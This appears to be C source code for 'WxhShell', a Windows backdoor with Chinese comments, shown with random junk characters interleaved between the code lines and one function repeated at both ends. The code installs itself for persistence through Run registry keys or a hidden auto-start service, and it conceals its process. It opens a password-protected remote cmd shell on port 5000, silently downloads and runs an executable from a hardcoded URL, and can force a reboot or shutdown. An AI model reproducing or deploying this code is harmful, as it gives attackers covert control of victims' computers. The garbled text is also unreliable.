nxYV"p HANDLE hProcess; f3l&3hC PROCESS_BASIC_INFORMATION pbi; fivw~z|[@ zy?|ODM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5:[0z5Hww if(NULL == hInst ) return 0; [C 7^r3w 88O8wJN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]"As1" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r.=K~A NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D(op)]8 C\3rJy(VJ if (!NtQueryInformationProcess) return 0; FW;?s+Uyx ]Jg&VXrH hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H\" sgoJ if(!hProcess) return 0; {GT*ZU* #6aW9GO if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .bl/*s %bn jgy CloseHandle(hProcess); h|9L5 RZ?jJm$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xh"n]TK if(hProcess==NULL) return 0; =+-UJo5 m]0;"jeL HMODULE hMod; A/$QaB,x char procName[255]; J$DE"|- unsigned long cbNeeded; ;W
)Y
OT ;6
D@A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ea2ayT r EE1sy/# CloseHandle(hProcess); wo{gG?B qbN
=4 if(strstr(procName,"services")) return 1; // 以服务启动 A1$TXr ] )\Pqn( return 0; // 注册表启动 \~mT]
'5 } l~q\3UKlt Y=?3 js?O // 主模块 ;u
({\K int StartWxhshell(LPSTR lpCmdLine) ,.8KN<A2]' { vzAax k% SOCKET wsl; epe)a BOOL val=TRUE; ;%9 |kU int port=0; 9!\B6=r y4 struct sockaddr_in door; DH!~ BB; OX7M8cmc+ if(wscfg.ws_autoins) Install(); Yx%Hs5}8 a$OE0zn` port=atoi(lpCmdLine); X=&ET)8-Y `UyG_; if(port<=0) port=wscfg.ws_port; '3tCH)s FIhk@TKa WSADATA data; /& {A!.; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1<@W6@] *I.f1lz%* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ORw,)l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S!CC
}3zw door.sin_family = AF_INET; WIxy}3_to door.sin_addr.s_addr = inet_addr("127.0.0.1"); qS$Ox?Bw#u door.sin_port = htons(port); (NU
NHxi5B !>&o01i if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `5.'_3 closesocket(wsl); z'n:@E return 1; b94DJzL1z } {$
JYw{a *u [BP@vE if(listen(wsl,2) == INVALID_SOCKET) { pofie$ closesocket(wsl); U(g:zae return 1; L|xbR#v } s Y Qk Wxhshell(wsl); %/.b~|,- WSACleanup(); lT?v^\(H x~~|.C, return 0; wKxtre(v dn+KH+v } }<SQ E6ElNgL // 以NT服务方式启动 hx %v+/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rtl"Ub@HV { =s2*H8] DWORD status = 0; osAd1<EIC DWORD specificError = 0xfffffff; f}f9@>. >*_$]E serviceStatus.dwServiceType = SERVICE_WIN32; 4F'LBS]=0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; Jhhb7uU+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 266h\2t6 serviceStatus.dwWin32ExitCode = 0; E,U+o $ serviceStatus.dwServiceSpecificExitCode = 0; kJsN|= serviceStatus.dwCheckPoint = 0; &
G4\2l9 serviceStatus.dwWaitHint = 0; mSF(q78? E
A1?)|}n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WiR(;m<g if (hServiceStatusHandle==0) return; ]Ie 0S~ J @1!Oq> status = GetLastError(); )~JHgl if (status!=NO_ERROR) }rw8PZ9 { E
KLyma&}Y serviceStatus.dwCurrentState = SERVICE_STOPPED; ]MitOkX serviceStatus.dwCheckPoint = 0; kfY}S serviceStatus.dwWaitHint = 0; 3$>1FoSk serviceStatus.dwWin32ExitCode = status; VU]`&`~J serviceStatus.dwServiceSpecificExitCode = specificError; N
+_t-5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); h2]P]@nW;W return; !ons]^km } MaQqs= :>f )g serviceStatus.dwCurrentState = SERVICE_RUNNING; }@q`%uzi serviceStatus.dwCheckPoint = 0; FbFPJ !fb serviceStatus.dwWaitHint = 0; 37.S\gO] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K;H&n1 } f+)L#>Gl? 8^+%I/S$ // 处理NT服务事件,比如:启动、停止 qWPkT$ u VOID WINAPI NTServiceHandler(DWORD fdwControl) rcG"o\g@+ { ,m|h<faZL switch(fdwControl) 'yEHI { LYK"( C case SERVICE_CONTROL_STOP: }!.(n=idZ serviceStatus.dwWin32ExitCode = 0; YZ8>OwQz2 serviceStatus.dwCurrentState = SERVICE_STOPPED; 0-Ku7<a serviceStatus.dwCheckPoint = 0; V5>B])yQ serviceStatus.dwWaitHint = 0; )'cMYC { yjJ5>cg SetServiceStatus(hServiceStatusHandle, &serviceStatus); @:vwb\azVD } `kXs;T6& return; ]Q3ADh case SERVICE_CONTROL_PAUSE: \?k'4rH serviceStatus.dwCurrentState = SERVICE_PAUSED; %XQ(fj> break; -zeG1gr3 case SERVICE_CONTROL_CONTINUE: Jk
n>S#SZ serviceStatus.dwCurrentState = SERVICE_RUNNING; G<J?"oQbRT break; p]+Pkxz]' case SERVICE_CONTROL_INTERROGATE: >@_^fw) break; uZKr }; 6 V=9M: SetServiceStatus(hServiceStatusHandle, &serviceStatus); rw JIx|( } Ioa$51& jLm ;ty2; // 标准应用程序主函数 .[OUI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oAeUvmh { 2uW;
xfeY 0IBSRFt$g& // 获取操作系统版本 Am|%lj+1z OsIsNt=GetOsVer(); :tg)p+KB GetModuleFileName(NULL,ExeFile,MAX_PATH); ?GR"FmB( ZKTz
, // 从命令行安装 ;h if(strpbrk(lpCmdLine,"iI")) Install(); f46t9dxp$ PKiy5D*8p // 下载执行文件 =-n}[Y}A if(wscfg.ws_downexe) { U!\.]jfS if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [hv~o~q WinExec(wscfg.ws_filenam,SW_HIDE); eru.m+\ } fr6fj ;[OH(! if(!OsIsNt) { &}B|"s[ // 如果时win9x,隐藏进程并且设置为注册表启动 [ sjosV HideProc(); c`w}|d]mC StartWxhshell(lpCmdLine); ~=l;=7 T } 7;wd(8 else {_p_%; if(StartFromService()) B[?Ng}<g` // 以服务方式启动 A$0fKko StartServiceCtrlDispatcher(DispatchTable); qu{&xjTH8 else ;85>xHK // 普通方式启动 FWgpnI\X|{ StartWxhshell(lpCmdLine); +a{1)nCXe #.)0xfGW)n return 0; TKmf+ZT*r } -k e's JP[K;/ y}ev ,j >U27];}y =========================================== T+H!_ky`A .4!=p*Y `Eo.v#< i$6ypuc Pw"-S?`( ,R*
]>' " _F|Ek ;y% sS'm!7*(3 #include <stdio.h> 1^JS Dd #include <string.h> cU!vsdR3 #include <windows.h> [5Mr@f4I #include <winsock2.h> ~U&AI1t+J #include <winsvc.h> ,(^*+G.i #include <urlmon.h> ope^~+c~\ ~dTrf>R8M #pragma comment (lib, "Ws2_32.lib") v;D~Pa #pragma comment (lib, "urlmon.lib") YO}<Ytx 7?w*] #define MAX_USER 100 // 最大客户端连接数 Si;H0uP O #define BUF_SOCK 200 // sock buffer MeZf*'
J #define KEY_BUFF 255 // 输入 buffer i5@z< \ u>a5GkG. #define REBOOT 0 // 重启 #BH*Z( #define SHUTDOWN 1 // 关机 Ry6@VQ"NLb {8bSB.?R #define DEF_PORT 5000 // 监听端口 ^>v+(
z5R -;WGS o #define REG_LEN 16 // 注册表键长度 B>P{A7Q #define SVC_LEN 80 // NT服务名长度 }y gD3:vN7 tJ$_lk
~6q // 从dll定义API 0[W:d=C`a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U26}gT) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5vnrA'BhBU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4zFW-yy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @?]RBX?a 5#E`=C% // wxhshell配置信息 &`2)V;t struct WSCFG { 8$Y9ORs4 int ws_port; // 监听端口 $X,D( char ws_passstr[REG_LEN]; // 口令 (V2fRv int ws_autoins; // 安装标记, 1=yes 0=no 8XE7]&)]; char ws_regname[REG_LEN]; // 注册表键名 iSs:oH3l char ws_svcname[REG_LEN]; // 服务名 ~q25Yx9W@ char ws_svcdisp[SVC_LEN]; // 服务显示名 /R wjCUf char ws_svcdesc[SVC_LEN]; // 服务描述信息 q9s=~d7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Jij*x>K>y int ws_downexe; // 下载执行标记, 1=yes 0=no 4ID5q~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +A?U{q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <=C!VVk4f )MTOU47U }; #Ki[$bS~6 Z=vU}S>r|v // default Wxhshell configuration aWF655Fs* struct WSCFG wscfg={DEF_PORT, ?hy& "xuhuanlingzhe", m^;f(IK5 1, Q*ft7$l& "Wxhshell", ][Rh28?I{ "Wxhshell", |Ds1 "WxhShell Service", -m~#Bq "Wrsky Windows CmdShell Service", PALc;"]O "Please Input Your Password: ", oe-\ozJ0 1, 0oIe>r "http://www.wrsky.com/wxhshell.exe", &6nWzF "Wxhshell.exe" ~oY^;/ j }; \z(gqkc 6 ?^\|-Gr // 消息定义模块 sD#.Oq4&]y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .U]-j\ char *msg_ws_prompt="\n\r? for help\n\r#>"; 49HZ2`Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pIqeXY char *msg_ws_ext="\n\rExit."; c'yxWZEv char *msg_ws_end="\n\rQuit."; C1 *v,i char *msg_ws_boot="\n\rReboot...";
r3UUlR/Do char *msg_ws_poff="\n\rShutdown..."; ln
dx"prW char *msg_ws_down="\n\rSave to "; ^^D0^k!R F0@gSurg) char *msg_ws_err="\n\rErr!"; sLxc(d'A char *msg_ws_ok="\n\rOK!"; &0JI!bR( n/mG|)Xt char ExeFile[MAX_PATH]; U&p${IcEm int nUser = 0; nb%6X82Q HANDLE handles[MAX_USER]; [MY|T<q int OsIsNt; aAUvlb =Jb>x#Y SERVICE_STATUS serviceStatus; m!HJj>GEo SERVICE_STATUS_HANDLE hServiceStatusHandle; RPRBmb940 Z/+#pWBI! // 函数声明 6(ol1
(U int Install(void); oYH-wQ j int Uninstall(void); C]A.i2o8 int DownloadFile(char *sURL, SOCKET wsh); yD}B%\45 int Boot(int flag); l!u_"I8j5 void HideProc(void); g]0_5?i int GetOsVer(void); P-"y3 ZE= int Wxhshell(SOCKET wsl); 7zG_(83)K void TalkWithClient(void *cs); 1p=]hC int CmdShell(SOCKET sock); xU`p|(SS- int StartFromService(void); H9e<v4c int StartWxhshell(LPSTR lpCmdLine); 2[02,FG _.8S& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #AQV(;r7@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); /IMFO:c 0n{=%Q // 数据结构和表定义 E~"y$Fqe SERVICE_TABLE_ENTRY DispatchTable[] = o?\?@H { (SAs- {wscfg.ws_svcname, NTServiceMain}, /mzlH {NULL, NULL} <wD-qT W }; }0Ed] )lDD\J7 // 自我安装 {"KMs[M int Install(void)
92oFlEJ { kE1TP]| char svExeFile[MAX_PATH]; I%KYtv~` HKEY key; b4N[)%@ strcpy(svExeFile,ExeFile); ?4T-@~~*`= a9V,es"BWQ // 如果是win9x系统,修改注册表设为自启动 IJcsmNWm if(!OsIsNt) { Slc\&Eb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |P?*5xPB RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6(-N FnT RegCloseKey(key); ;
BHtCuY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pa:|_IXA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{|"7/PE1 RegCloseKey(key); SXP]%{@R/ return 0; Ab.(7GFK } _6vWF } !R`{ TbN } q'Pf] else { 7;@]t^d=$ /Lr.e% // 如果是NT以上系统,安装为系统服务 +9sQZB# ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [j+sC* if (schSCManager!=0) >Cq<@$I2EB { sc#qwQ# SC_HANDLE schService = CreateService 1 [Bk%G@D& ( 1T
n} schSCManager, ?(_08O wscfg.ws_svcname, QQc -Ya!v wscfg.ws_svcdisp, 1EX;MW-p<T SERVICE_ALL_ACCESS, E}Uc7G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *MW\^PR? SERVICE_AUTO_START, >uEzw4w SERVICE_ERROR_NORMAL, IO<6 svExeFile, ="l/ klYV NULL, b^vQpiz NULL, )Hr`MB NULL, YKK*ER0 NULL, &s!@29DXR NULL LCV(,lu ); Xne1gms if (schService!=0) dft!lBN { BDQsP$'6QT CloseServiceHandle(schService); S~G]~gt CloseServiceHandle(schSCManager); +D*Z_Yh6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >9Vn.S strcat(svExeFile,wscfg.ws_svcname); o}p n0KO, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]7c=PC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R`-S/C RegCloseKey(key); MVUJD{X# return 0; zX i'kB } A?OQE9' } &_8947 CloseServiceHandle(schSCManager);
|-~Y#] } Pr
C{'XDlU } a(ZcmYzXU |CbikE}kL return 1; @oGcuE } 0#gK6o! :7;@ZEe // 自我卸载 H3oFORh int Uninstall(void) "_?nN"A7 { pEz_qy[# HKEY key; w_V P
J 0JujesUw( if(!OsIsNt) { Zx>=tx} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Z+k=~( RegDeleteValue(key,wscfg.ws_regname); vW@=<aS Z RegCloseKey(key); Y8t8!{ytg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?:9"X$XR RegDeleteValue(key,wscfg.ws_regname); 8zq=N#x RegCloseKey(key); sNFlKQ8)Q return 0; 4s
oJ.j8 } _DEjF)S } 7F.4Ga; } .*Qx\, else { >^{yF~( |;{6&S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7_[L o4_ if (schSCManager!=0) >=w)x,0yX { 2MK-5Kg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yx`n:0 if (schService!=0) dqcL]e { @>7%qS if(DeleteService(schService)!=0) { `">= CloseServiceHandle(schService); V0Hj8}l;M CloseServiceHandle(schSCManager); %B?=q@!QWn return 0; iH'p>s5L } hgE71H\s CloseServiceHandle(schService); akTk( } 1k^oS$UT CloseServiceHandle(schSCManager); ?Q;=v~-Q } 2st3 } #Bw0,\ IdN41 return 1; ?Z} &EH } EKN~H$. \z ) %$#I // 从指定url下载文件 uHNCS zH( int DownloadFile(char *sURL, SOCKET wsh) #[[ en { tO&^>&;5 HRESULT hr; N6TH}~62} char seps[]= "/"; 86H+h(R/ char *token; |5 ]X| v char *file; cidP|ie^ char myURL[MAX_PATH]; f%8C!W]Dm char myFILE[MAX_PATH]; y|jq?M<A 8RHUeRX strcpy(myURL,sURL); "9807OME token=strtok(myURL,seps); bW:!5"_{H while(token!=NULL) IAyp 2 { >@Kx>cg+ file=token; W}ofAkF token=strtok(NULL,seps); -tU'yKhn } ?&uu[y /zox$p$?h GetCurrentDirectory(MAX_PATH,myFILE); !ubD/KE strcat(myFILE, "\\"); lmhLM. 2 strcat(myFILE, file); 2 ? 4!K. send(wsh,myFILE,strlen(myFILE),0); :~SyL ! send(wsh,"...",3,0); .A|@?p[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Iz8aQ if(hr==S_OK) WfRXP^a return 0; 3iU=c&P else Qv ?"b return 1; #s9aI_ <{cQ2 } 0IWf!Sk
] BL4-7 // 系统电源模块 _WbxH int Boot(int flag) |V7*l1 { (QiAisE HANDLE hToken; O.JN ENZf TOKEN_PRIVILEGES tkp; UL9n-M= %SUQ9\SEs if(OsIsNt) { bs1Rvx1:J% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;9'OOz|+1 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); . 'yCw#f tkp.PrivilegeCount = 1; 'O-"\J\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ABYcH]m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :2)/FPL6 if(flag==REBOOT) { d0 /#nz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ll?X@S return 0; (Awm9|.{+ } G]aOHJ:. else { kvj#c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U`s{Jm return 0; 3= ;<$+I6 } R/a*LSe@& } (4-CF3D else { tZB<on<.) if(flag==REBOOT) { (uidNq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )=-szJjXZ return 0; q" 5(H5 } #)VF3T@#' else { a-J.B.A$Z/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [1H^3g
' return 0; -|9=P\U8S } \lNN Msd& } v(%*b,^
-H-~;EzU return 1; rU(+T0t?I } 0Y5_PTWb+Y S0W||#Pr // win9x进程隐藏模块 j*m%*_kO void HideProc(void) Ssg&QI { r:TH]hs12+ wwcBsJ1{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <QGXy= if ( hKernel != NULL ) _h1mF<\ X^ { 3HK\BS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,9
a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *DhiN FreeLibrary(hKernel); }W,[/)MO } MnW+25=N {BU;$ return; B#1;r-^P< } IEvdV6{K 8*a&Jl // 获取操作系统版本 `~q <N int GetOsVer(void) Yu2Bkq+ { ht}wEvv OSVERSIONINFO winfo; jZrq{Z< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~WV"SaA)*U GetVersionEx(&winfo); ]')RMg zM* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IV)j1 return 1; jmW7)jT8: else kB%JNMF{A return 0; y1L,0 ] } 7"D.L-H A\5L
7 // 客户端句柄模块 C$)onk int Wxhshell(SOCKET wsl) l%i+cO D
{ x'R`.
!g3 SOCKET wsh; Od)C&N=y struct sockaddr_in client; 9(wK@ DWORD myID; Wo=jskBrQ 0#^v{DC while(nUser<MAX_USER) <1M-Ro?5k { ;t`&n['N> int nSize=sizeof(client); U:_^#\p wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "g8M0[7e3 if(wsh==INVALID_SOCKET) return 1; r",GC] sCHJ&>m5- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "C`Ub if(handles[nUser]==0) ]e@Oiq closesocket(wsh); Pk)1WK7E else -A!%*9Z nUser++; 7Hu3>4< } geCM<] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K",N!koj r]36zX v return 0; k"w"hg&e } v/=}B(TDF Ooy7*W'; // 关闭 socket jo@J}`\Zt void CloseIt(SOCKET wsh) jW@Uo=I[ { *-p}z@8 closesocket(wsh); Mf``_=K nUser--; 8)I^ t81 ExitThread(0); H$4:lH&( } h 9W^[6 lnR{jtWP // 客户端请求句柄 |ZBI * void TalkWithClient(void *cs) #Mw8^FST { #>+ HlT @F*%9LPv SOCKET wsh=(SOCKET)cs; AYx{U?0p char pwd[SVC_LEN]; )K char cmd[KEY_BUFF]; pyvSwD5t char chr[1]; %84rL?S int i,j; h.t-`k7 HHsmLo c4 while (nUser < MAX_USER) { P";'jVcR 0lR5<^B if(wscfg.ws_passstr) { s->^=dy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MFk5K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^gnZ+`3 //ZeroMemory(pwd,KEY_BUFF); L;I]OC^J i=0; IO-Ow! while(i<SVC_LEN) { [ibu/W$ ~$?ZK]YOrx // 设置超时 M/gGoE{ fd_set FdRead; d>C$+v> struct timeval TimeOut; 'b{]:Y FD_ZERO(&FdRead); `W*U4?M FD_SET(wsh,&FdRead); D}X\Ca"h TimeOut.tv_sec=8; 8-77d^cprR TimeOut.tv_usec=0; 'Qe;vZ31K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @s2y~0}# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'q:`? nJ^ pIX`MlBdF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @I!0-OjL pwd=chr[0]; d-dEQKI?; if(chr[0]==0xd || chr[0]==0xa) { N<injx pwd=0; R*2E/8Ia break; \P`hq^; } >\3V a i++; &KRX[2 } Npy:! ^.NU|NQi' // 如果是非法用户,关闭 socket @J`"[%U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %8~NqS|= } ZExlGC TbW38\>.R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^ (zYzd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W9GVt$T7 %d<"l~<5; while(1) { 7O-x<P; _zi| ZeroMemory(cmd,KEY_BUFF); WEi2=3dV 0Z{ZO*rK // 自动支持客户端 telnet标准 Hja3a{LH j=0; nc|p ) while(j<KEY_BUFF) { G*P#]eO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X_\otVh(D cmd[j]=chr[0]; '16b2n+F@# if(chr[0]==0xa || chr[0]==0xd) { V[Ui/M!9Z cmd[j]=0; ,1o FPa{? break; OYTkV}tG } 5C5sgR C j++; b}TS0+TF } JrRH\+4K j HJ`,# // 下载文件 u5f9Jw} if(strstr(cmd,"http://")) { j\^CV?}sm' send(wsh,msg_ws_down,strlen(msg_ws_down),0); YglmX"fLf if(DownloadFile(cmd,wsh)) y/ef>ZZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gu\q%'I else !."D]i; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;@Y;g(bw: } |H+UOEiv,p else { lp%pbx43s .jjG(L switch(cmd[0]) { ~%kkeh\j P:MT*ra*, // 帮助 t=W}SH case '?': { mSl.mi(JiZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Trz@~d/[,n break; ok\vQs(a } Q:d]imw!O // 安装 0[?Xxk}s0 case 'i': { ?QdWrE_
if(Install()) aQ\$A`? send(wsh,msg_ws_err,strlen(msg_ws_err),0);
57 else [~c|mOk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'yK~;+_9 break; ML56k~"BL } dk4CpN // 卸载 x\G'kEd case 'r': { h^(*Tv-! if(Uninstall()) dn$!& send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/2//mM else A0 C,tVd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3eAX.z`D break; >$/>#e~ } mLLDE;7|} // 显示 wxhshell 所在路径 ]:k/Y$O2 case 'p': { C7ScS"~ char svExeFile[MAX_PATH]; 84zSK)=Y strcpy(svExeFile,"\n\r"); B!L{ strcat(svExeFile,ExeFile); rlSeu5X6 send(wsh,svExeFile,strlen(svExeFile),0); ~
=2PU$u break; x@;m8z0 } nV/G8SeI // 重启 y'nK>)WG4 case 'b': { B7E:{9l~s{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tpQ(g% if(Boot(REBOOT)) YWO)HsjP send(wsh,msg_ws_err,strlen(msg_ws_err),0); bI9~jWgGp else { ag;pN*z closesocket(wsh); ~/iKh11 ExitThread(0); 9`X\6s } Ww+IWW@ break; bUdLs.: } Q1I6$8:7 // 关机 x}I+Iggi case 'd': { Ee%%d send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `MN4uC if(Boot(SHUTDOWN)) ,77d(bR< send(wsh,msg_ws_err,strlen(msg_ws_err),0); aa/(N7 else { WUXx;9 > closesocket(wsh); o&)8o5 ExitThread(0); ?(F6#"/E } }I6veagK break;
goOCu } dhf!o0'1M // 获取shell u5b|#&-mX case 's': { Y>dzR)~3[ CmdShell(wsh); W ]?G}Q; closesocket(wsh); X Dm[Gc>(~ ExitThread(0); pG^ break; m6\E$;` } ~#[yJNYQ // 退出 .K2qXw"S# case 'x': { n&qg;TT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;LPfXpR CloseIt(wsh); G3vxjD<DMW break; &P}_bx } UapC"XYJ // 离开 G+"t/?/ case 'q': { li'YDtMKCY send(wsh,msg_ws_end,strlen(msg_ws_end),0); :B5Fdp3 closesocket(wsh); RVA(Q[ ; WSACleanup(); ;oKZ!ND exit(1); 6"5A%{J break; p\tm:QWD; } qHplJ " } 2M#Q.F } Ls$D$/:q? N06OvU2>xU // 提示信息 "R1NG?;q if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #64-~NVL_ } (pCrmyB } [")o.( uLL]A>vR return; +yH7v5W } kYqU9cB~ 6azGhxh // shell模块句柄 i$:*Pb3mV int CmdShell(SOCKET sock) v6M6>&RR| { Vl/+;6_ STARTUPINFO si; FaQe_; ZeroMemory(&si,sizeof(si)); L~rBAIdD si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vrhT<+q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +_?hK{Ib" PROCESS_INFORMATION ProcessInfo; Hz1%x char cmdline[]="cmd"; t?x<g <PJ4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rq/yD,I, return 0; r6MMCJ|G } +ocol6G7W fF$<7O)+] // 自身启动模式 L_uVL#To int StartFromService(void) RXpw! { :Ij{s typedef struct g1/[eoZzk { tqvN0vY5 DWORD ExitStatus; D9CaFu DWORD PebBaseAddress; {W=%U|f DWORD AffinityMask; t7dt*D_YqK DWORD BasePriority; Pw7]r<Q ULONG UniqueProcessId; .9 on@S ULONG InheritedFromUniqueProcessId; J!v3i*j\ } PROCESS_BASIC_INFORMATION; iwZPpl"; F3v!AvA| PROCNTQSIP NtQueryInformationProcess; x=hiQ>BIO0 -aPg#ub static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?Wr+Q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b9KP( _ HZzD VCU HANDLE hProcess; G_3O]BMKd) PROCESS_BASIC_INFORMATION pbi; iZ3IdiZ /7nb,!~~l HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G~^r)fm_ if(NULL == hInst ) return 0; fo*2:?K& H1pO!>M g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /yDz/>ID\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c z#rb*b NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5,Jp[bw{H{ c)TPM/>(p if (!NtQueryInformationProcess) return 0; *v
jmy/3 BOb">6C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DkY4MH? if(!hProcess) return 0; ENl)Ts`y }{K)
